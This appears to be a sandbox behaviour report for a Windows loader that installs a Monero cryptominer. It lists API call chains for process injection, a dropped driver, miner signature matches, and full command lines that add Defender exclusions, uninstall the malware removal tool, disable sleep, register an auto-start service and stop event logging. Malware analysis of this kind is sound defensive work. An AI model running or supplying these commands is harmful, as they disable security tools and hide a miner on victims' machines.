Uses powercfg.exe to modify the power settings

Source: C:\Users\user\Desktop\loader.exe

Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0

Source: C:\Windows\System32\dialer.exe	Code function: 11_2_00000001400010C0 OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,CloseHandle,CloseHandle,	11_2_00000001400010C0
Source: C:\Windows\System32\winlogon.exe	Code function: 20_2_00000225DC6428C8 NtEnumerateValueKey,NtEnumerateValueKey,	20_2_00000225DC6428C8
Source: C:\Windows\System32\lsass.exe	Code function: 26_2_00000202C0AE202C NtQuerySystemInformation,StrCmpNIW,	26_2_00000202C0AE202C
Source: C:\Windows\System32\lsass.exe	Code function: 26_2_00000202C0AE253C NtQueryDirectoryFileEx,GetFileType,StrCpyW,	26_2_00000202C0AE253C
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAAEDF28C8 NtEnumerateValueKey,NtEnumerateValueKey,	30_2_000002BAAEDF28C8
Source: C:\Windows\System32\dialer.exe	Code function: 39_2_00000001400010C0 OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,CloseHandle,CloseHandle,	39_2_00000001400010C0
Source: C:\Windows\System32\dialer.exe	Code function: 42_2_0000000140001394 NtCloseObjectAuditAlarm,	42_2_0000000140001394

Source: C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe

File created: C:\Windows\TEMP\gyqerfjfsbie.sys

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File deleted: C:\Windows\Temp\__PSScriptPolicyTest_psqhir2y.fz0.ps1

Source: C:\Windows\System32\dialer.exe	Code function: 11_2_000000014000226C	11_2_000000014000226C
Source: C:\Windows\System32\dialer.exe	Code function: 11_2_00000001400014D8	11_2_00000001400014D8
Source: C:\Windows\System32\dialer.exe	Code function: 11_2_0000000140002560	11_2_0000000140002560
Source: C:\Windows\System32\winlogon.exe	Code function: 20_2_00000225DC611F2C	20_2_00000225DC611F2C
Source: C:\Windows\System32\winlogon.exe	Code function: 20_2_00000225DC61D0E0	20_2_00000225DC61D0E0
Source: C:\Windows\System32\winlogon.exe	Code function: 20_2_00000225DC6238A8	20_2_00000225DC6238A8
Source: C:\Windows\System32\winlogon.exe	Code function: 20_2_00000225DC642B2C	20_2_00000225DC642B2C
Source: C:\Windows\System32\winlogon.exe	Code function: 20_2_00000225DC64DCE0	20_2_00000225DC64DCE0
Source: C:\Windows\System32\winlogon.exe	Code function: 20_2_00000225DC6544A8	20_2_00000225DC6544A8
Source: C:\Windows\System32\winlogon.exe	Code function: 20_2_00000225DC671F2C	20_2_00000225DC671F2C
Source: C:\Windows\System32\winlogon.exe	Code function: 20_2_00000225DC67D0E0	20_2_00000225DC67D0E0
Source: C:\Windows\System32\winlogon.exe	Code function: 20_2_00000225DC6838A8	20_2_00000225DC6838A8
Source: C:\Windows\System32\winlogon.exe	Code function: 20_2_00000225DC6A2B2C	20_2_00000225DC6A2B2C
Source: C:\Windows\System32\winlogon.exe	Code function: 20_2_00000225DC6ADCE0	20_2_00000225DC6ADCE0
Source: C:\Windows\System32\winlogon.exe	Code function: 20_2_00000225DC6B44A8	20_2_00000225DC6B44A8
Source: C:\Windows\System32\lsass.exe	Code function: 26_2_00000202C0AB1F2C	26_2_00000202C0AB1F2C
Source: C:\Windows\System32\lsass.exe	Code function: 26_2_00000202C0AC38A8	26_2_00000202C0AC38A8
Source: C:\Windows\System32\lsass.exe	Code function: 26_2_00000202C0ABD0E0	26_2_00000202C0ABD0E0
Source: C:\Windows\System32\lsass.exe	Code function: 26_2_00000202C0AE2B2C	26_2_00000202C0AE2B2C
Source: C:\Windows\System32\lsass.exe	Code function: 26_2_00000202C0AF44A8	26_2_00000202C0AF44A8
Source: C:\Windows\System32\lsass.exe	Code function: 26_2_00000202C0AEDCE0	26_2_00000202C0AEDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_000002A6612D1F2C	29_2_000002A6612D1F2C
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_000002A6612DD0E0	29_2_000002A6612DD0E0
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_000002A6612E38A8	29_2_000002A6612E38A8
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_000002A661302B2C	29_2_000002A661302B2C
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_000002A66131AEC5	29_2_000002A66131AEC5
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_000002A66130DCE0	29_2_000002A66130DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_000002A6613144A8	29_2_000002A6613144A8
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAAEDC1F2C	30_2_000002BAAEDC1F2C
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAAEDCD0E0	30_2_000002BAAEDCD0E0
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAAEDD38A8	30_2_000002BAAEDD38A8
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAAEDF2B2C	30_2_000002BAAEDF2B2C
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAAEDFDCE0	30_2_000002BAAEDFDCE0
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAAEE044A8	30_2_000002BAAEE044A8
Source: C:\Windows\System32\dialer.exe	Code function: 39_2_000000014000226C	39_2_000000014000226C
Source: C:\Windows\System32\dialer.exe	Code function: 39_2_00000001400014D8	39_2_00000001400014D8
Source: C:\Windows\System32\dialer.exe	Code function: 39_2_0000000140002560	39_2_0000000140002560
Source: C:\Windows\System32\dialer.exe	Code function: 42_2_0000000140003240	42_2_0000000140003240
Source: C:\Windows\System32\dialer.exe	Code function: 42_2_00000001400027D0	42_2_00000001400027D0
Source: C:\Windows\System32\svchost.exe	Code function: 45_2_0000026A8799D0E0	45_2_0000026A8799D0E0
Source: C:\Windows\System32\svchost.exe	Code function: 45_2_0000026A879A38A8	45_2_0000026A879A38A8
Source: C:\Windows\System32\svchost.exe	Code function: 45_2_0000026A87991F2C	45_2_0000026A87991F2C
Source: C:\Windows\System32\svchost.exe	Code function: 45_2_0000026A879CDCE0	45_2_0000026A879CDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 45_2_0000026A879D44A8	45_2_0000026A879D44A8
Source: C:\Windows\System32\svchost.exe	Code function: 45_2_0000026A879C2B2C	45_2_0000026A879C2B2C
Source: C:\Windows\System32\svchost.exe	Code function: 46_2_00000179537838A8	46_2_00000179537838A8
Source: C:\Windows\System32\svchost.exe	Code function: 46_2_000001795377D0E0	46_2_000001795377D0E0
Source: C:\Windows\System32\svchost.exe	Code function: 46_2_0000017953771F2C	46_2_0000017953771F2C
Source: C:\Windows\System32\svchost.exe	Code function: 46_2_00000179537B44A8	46_2_00000179537B44A8
Source: C:\Windows\System32\svchost.exe	Code function: 46_2_00000179537ADCE0	46_2_00000179537ADCE0
Source: C:\Windows\System32\svchost.exe	Code function: 46_2_00000179537A2B2C	46_2_00000179537A2B2C
Source: C:\Windows\System32\svchost.exe	Code function: 47_2_000002295D53D0E0	47_2_000002295D53D0E0
Source: C:\Windows\System32\svchost.exe	Code function: 47_2_000002295D5438A8	47_2_000002295D5438A8
Source: C:\Windows\System32\svchost.exe	Code function: 47_2_000002295D531F2C	47_2_000002295D531F2C
Source: C:\Windows\System32\svchost.exe	Code function: 47_2_000002295D56DCE0	47_2_000002295D56DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 47_2_000002295D5744A8	47_2_000002295D5744A8
Source: C:\Windows\System32\svchost.exe	Code function: 47_2_000002295D562B2C	47_2_000002295D562B2C
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_00000253067D1F2C	50_2_00000253067D1F2C
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_00000253067DD0E0	50_2_00000253067DD0E0
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_00000253067E38A8	50_2_00000253067E38A8
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_0000025306E62B2C	50_2_0000025306E62B2C
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_0000025306E6DCE0	50_2_0000025306E6DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_0000025306E744A8	50_2_0000025306E744A8
Source: C:\Windows\System32\svchost.exe	Code function: 51_2_000001845B3D44A8	51_2_000001845B3D44A8
Source: C:\Windows\System32\svchost.exe	Code function: 51_2_000001845B3CDCE0	51_2_000001845B3CDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 51_2_000001845B3C2B2C	51_2_000001845B3C2B2C
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_000001ADECD4DCE0	53_2_000001ADECD4DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_000001ADECD544A8	53_2_000001ADECD544A8
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_000001ADECD42B2C	53_2_000001ADECD42B2C
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_000001D5590538A8	54_2_000001D5590538A8
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_000001D55904D0E0	54_2_000001D55904D0E0
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_000001D559041F2C	54_2_000001D559041F2C
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_000001D5590844A8	54_2_000001D5590844A8
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_000001D55907DCE0	54_2_000001D55907DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_000001D559072B2C	54_2_000001D559072B2C
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00000241A9EA2B2C	55_2_00000241A9EA2B2C
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00000241A9EADCE0	55_2_00000241A9EADCE0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00000241A9EB44A8	55_2_00000241A9EB44A8
Source: C:\Windows\System32\svchost.exe	Code function: 56_2_000001CD73161F2C	56_2_000001CD73161F2C
Source: C:\Windows\System32\svchost.exe	Code function: 56_2_000001CD731738A8	56_2_000001CD731738A8
Source: C:\Windows\System32\svchost.exe	Code function: 56_2_000001CD7316D0E0	56_2_000001CD7316D0E0
Source: C:\Windows\System32\svchost.exe	Code function: 56_2_000001CD73192B2C	56_2_000001CD73192B2C
Source: C:\Windows\System32\svchost.exe	Code function: 56_2_000001CD731A44A8	56_2_000001CD731A44A8
Source: C:\Windows\System32\svchost.exe	Code function: 56_2_000001CD7319DCE0	56_2_000001CD7319DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 57_2_000002824E86D0E0	57_2_000002824E86D0E0
Source: C:\Windows\System32\svchost.exe	Code function: 57_2_000002824E8738A8	57_2_000002824E8738A8
Source: C:\Windows\System32\svchost.exe	Code function: 57_2_000002824E861F2C	57_2_000002824E861F2C
Source: C:\Windows\System32\svchost.exe	Code function: 57_2_000002824E89DCE0	57_2_000002824E89DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 57_2_000002824E8A44A8	57_2_000002824E8A44A8
Source: C:\Windows\System32\svchost.exe	Code function: 57_2_000002824E892B2C	57_2_000002824E892B2C
Source: C:\Windows\System32\svchost.exe	Code function: 58_2_0000021B473CD0E0	58_2_0000021B473CD0E0
Source: C:\Windows\System32\svchost.exe	Code function: 58_2_0000021B473D38A8	58_2_0000021B473D38A8
Source: C:\Windows\System32\svchost.exe	Code function: 58_2_0000021B473C1F2C	58_2_0000021B473C1F2C
Source: C:\Windows\System32\svchost.exe	Code function: 58_2_0000021B47B3DCE0	58_2_0000021B47B3DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 58_2_0000021B47B444A8	58_2_0000021B47B444A8
Source: C:\Windows\System32\svchost.exe	Code function: 58_2_0000021B47B32B2C	58_2_0000021B47B32B2C

Source: Joe Sandbox View

Dropped File: C:\Windows\Temp\gyqerfjfsbie.sys 11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5

Source: loader.exe

Static PE information: invalid certificate

Source: 43.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 43.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 43.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 0000002B.00000002.3126900800.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25

Source: classification engine

Classification label: mal100.troj.spyw.evad.mine.winEXE@62/74@2/2

Source: C:\Windows\System32\dialer.exe	Code function: 11_2_000000014000226C GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,FindResourceExA,SizeofResource,LoadResource,LockResource,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,SleepEx,		11_2_000000014000226C
Source: C:\Windows\System32\dialer.exe	Code function: 39_2_000000014000226C GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,FindResourceExA,SizeofResource,LoadResource,LockResource,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,SleepEx,		39_2_000000014000226C

Source: C:\Windows\System32\dialer.exe

Code function: 11_2_00000001400019C4 SysAllocString,SysAllocString,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,VariantInit,CoUninitialize,SysFreeString,SysFreeString,

11_2_00000001400019C4

Source: C:\Windows\System32\dialer.exe

Code function: 11_2_000000014000226C GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,FindResourceExA,SizeofResource,LoadResource,LockResource,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,SleepEx,

11_2_000000014000226C

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3684:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7380:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4464:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2656:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7288:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2724:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7572:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3004:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:928:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7656:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7296:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7628:120:WilError_03
Source: C:\Windows\System32\dialer.exe	Mutant created: \BaseNamedObjects\Global\nrfynzqfftbrthxk
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7228:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7672:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7588:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6660:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_v4igs0l0.4bk.ps1

Jump to behavior

Source: loader.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\dialer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
Source: C:\Windows\System32\dialer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"

Source: C:\Users\user\Desktop\loader.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: loader.exe

ReversingLabs: Detection: 63%

Source: C:\Users\user\Desktop\loader.exe

File read: C:\Users\user\Desktop\loader.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\loader.exe "C:\Users\user\Desktop\loader.exe"
Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "NUTGFFPE"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "NUTGFFPE" binpath= "C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe" start= "auto"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog
Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "NUTGFFPE"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe
Source: C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe	Process created: C:\Windows\System32\dialer.exe dialer.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "NUTGFFPE"	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "NUTGFFPE" binpath= "C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe" start= "auto"	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "NUTGFFPE"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0	Jump to behavior
Source: C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe	Process created: C:\Windows\System32\dialer.exe dialer.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart

